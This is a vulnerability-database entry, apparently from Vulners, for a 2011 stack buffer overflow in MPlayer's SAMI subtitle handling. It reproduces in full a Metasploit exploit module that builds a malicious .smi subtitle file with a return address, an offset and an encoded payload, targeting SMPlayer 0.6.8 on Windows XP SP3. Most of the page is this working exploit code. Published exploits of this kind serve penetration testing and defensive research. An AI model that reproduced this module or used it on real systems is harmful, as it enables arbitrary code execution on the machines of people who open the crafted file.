MPlayer subreader.c sub_read_line_sami()函数SAMI副标题文件处理漏洞

🗓️ 07 Aug 2012 00:00:00Reported by RootType

MPlayer SAMI Subtitle File Buffer Overflow. Stack-based buffer overflow found in handling of SAMI subtitles files in MPlayer SVN Versions before 33471. Targets SMPlayer 0.6.8, distributed with vulnerable mplayer version. Triggered when victim opens movie file first, followed by loading malicious SAMI subtitles file from GUI or console


                                                ##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##

require 'msf/core'

class Metasploit3 &lt; Msf::Exploit::Remote
  Rank = NormalRanking

  include Msf::Exploit::FILEFORMAT

  def initialize(info = {})
    super(update_info(info,
      'Name'           =&gt; 'MPlayer SAMI Subtitle File Buffer Overflow',
      'Description'    =&gt; %q{
          This module exploits a stack-based buffer overflow found in the handling
        of SAMI subtitles files in MPlayer SVN Versions before 33471. It currently
        targets SMPlayer 0.6.8, which is distributed with a vulnerable version of mplayer.

        The overflow is triggered when an unsuspecting victim opens a movie file first,
        followed by loading the malicious SAMI subtitles file from the GUI. Or, it can also
        be done from the console with the mplayer &quot;-sub&quot; option.
      },
      'License'        =&gt; MSF_LICENSE,
      'Author'         =&gt; [
        'Jacques Louw', # Vulnerability Discovery and PoC
        'juan vazquez' # Metasploit module
      ],
      'Version'        =&gt; '$Revision: $',
      'References'     =&gt;
        [
          [ 'BID', '49149' ],
          [ 'OSVDB', '74604' ],
          [ 'URL', 'http://labs.mwrinfosecurity.com/files/Advisories/mwri_mplayer-sami-subtitles_2011-08-12.pdf' ],
        ],
      'DefaultOptions' =&gt;
        {
          'EXITFUNC' =&gt; 'process',
          'DisablePayloadHandler' =&gt; 'true',
        },
      'Payload'        =&gt;
        {
          'Space'    =&gt; 4000,
          'BadChars' =&gt; &quot;\x00\x0a\x0d\x09\x3c\x3e\x5c\x22\x7b\x7d&quot;,
        },
      'Platform'       =&gt; 'win',
      'Targets'        =&gt;
        [
          [ 'SMPlayer 0.6.8 / mplayer.exe Sherpya-SVN-r29355-4.5.0 / Windows XP English SP3',
            {
              'Offset' =&gt; 1033,
              'Ret' =&gt; 0x016c14df, # jmp esp from mplayer.exe .rsrc
              'WritableAddress' =&gt; 0x013ab3ae # from mplayer.exe .bss
            }
          ],
        ],
      'Privileged'     =&gt; false,
      'DisclosureDate' =&gt; 'May 19 2011',
      'DefaultTarget'  =&gt; 0))

    register_options(
      [
        OptString.new('FILENAME',   [ false, 'The file name.', 'msf.smi']),
      ], self.class)
  end

  # Split the subtitle to avoid mplayer complaining
  # about the line max length
  def sami_encode(s)
    r = &quot;&quot;
    i = 0
    while i &lt; s.length
      r &lt;&lt; s[i, 32]
      r &lt;&lt; &quot;\n&quot;
      i += 32
    end
    r
  end

  def exploit

    sploit = rand_text(target['Offset'])
    sploit &lt;&lt; [target.ret].pack(&quot;V&quot;)
    sploit &lt;&lt; &quot;\xeb\x06&quot; # jmp short 0x8
    sploit &lt;&lt; rand_text(2)
    sploit &lt;&lt; [target['WritableAddress']].pack(&quot;V&quot;)
    sploit &lt;&lt; payload.encoded

    sami = &quot;&lt;SAMI&gt;\n&quot;
    sami &lt;&lt; &quot;&lt;BODY&gt;\n&quot;
    sami &lt;&lt; &quot;&lt;SYNC Start=100550&gt;\n&quot;
    sami &lt;&lt; sami_encode(sploit)
    sami &lt;&lt; &quot;&lt;/SYNC&gt;\n&quot;
    sami &lt;&lt; &quot;&lt;/BODY&gt;\n&quot;
    sami &lt;&lt; &quot;&lt;/SAMI&gt;\n&quot;

    print_status(&quot;Creating '#{datastore['FILENAME']}' file ...&quot;)

    file_create(sami)
  end

end

07 Aug 2012 00:00Current

6.9Medium risk

Vulners AI Score6.9